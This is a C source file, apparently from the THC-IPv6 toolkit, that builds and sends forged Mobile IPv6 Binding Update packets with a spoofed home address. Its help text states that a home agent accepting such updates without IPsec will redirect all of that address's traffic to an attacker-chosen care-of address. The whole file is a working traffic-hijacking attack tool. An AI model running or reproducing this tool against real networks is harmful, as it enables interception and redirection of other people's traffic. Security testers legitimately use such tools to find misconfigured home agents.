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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
unsigned char buf[64];
int buf_len = 0;
void help(char *prg) {
printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf(
"Syntax: %s interface home-address home-agent-address "
"care-of-address\n\n",
prg);
printf(
"If the mobile IPv6 home-agent is mis-configured to accept MIPV6 updates "
"without\n");
printf(
"IPSEC, this will redirect all packets for home-address to "
"care-of-address\n");
// printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL;
unsigned char *h = NULL, *ha = NULL, *coa = NULL, *mac = NULL;
int pkt1_len = 0, rawmode = 0;
unsigned int id = 2, i;
char * interface;
thc_ipv6_hdr * hdr;
if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
interface = argv[1];
h = thc_resolve6(argv[2]);
ha = thc_resolve6(argv[3]);
coa = thc_resolve6(argv[4]);
if (rawmode == 0 && (mac = thc_get_mac(interface, coa, ha)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
for (i = 0; i < 4; i++) {
memset(buf, 0, sizeof(buf));
buf[0] = 1;
buf[1] = 2;
buf[4] = 201;
buf[5] = 16;
memcpy(&buf[6], h, 16);
buf_len = 22;
if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len,
coa, ha, 64, 0, 0, 0, 0)) == NULL)
return -1;
hdr = (thc_ipv6_hdr *)pkt1;
hdr->original_src = h;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, buf_len) < 0) return -1;
memset(buf, 0, sizeof(buf));
buf[0] = 59;
buf[1] = 3;
buf[2] = 5;
buf[3] = 0;
buf[6] = (id % 65536) / 256;
buf[7] = id % 256;
buf[8] = 192;
buf[10] = 0xff;
buf[11] = 0xff;
buf[12] = 1;
buf[14] = 3;
buf[15] = 16;
memcpy(&buf[16], coa, 16);
buf_len = 32;
if (thc_add_data6(pkt1, &pkt1_len, NXT_MIPV6, buf, buf_len) < 0) return -1;
thc_generate_and_send_pkt(interface, NULL, mac, pkt1, &pkt1_len);
id += 16384;
}
return 0;
}
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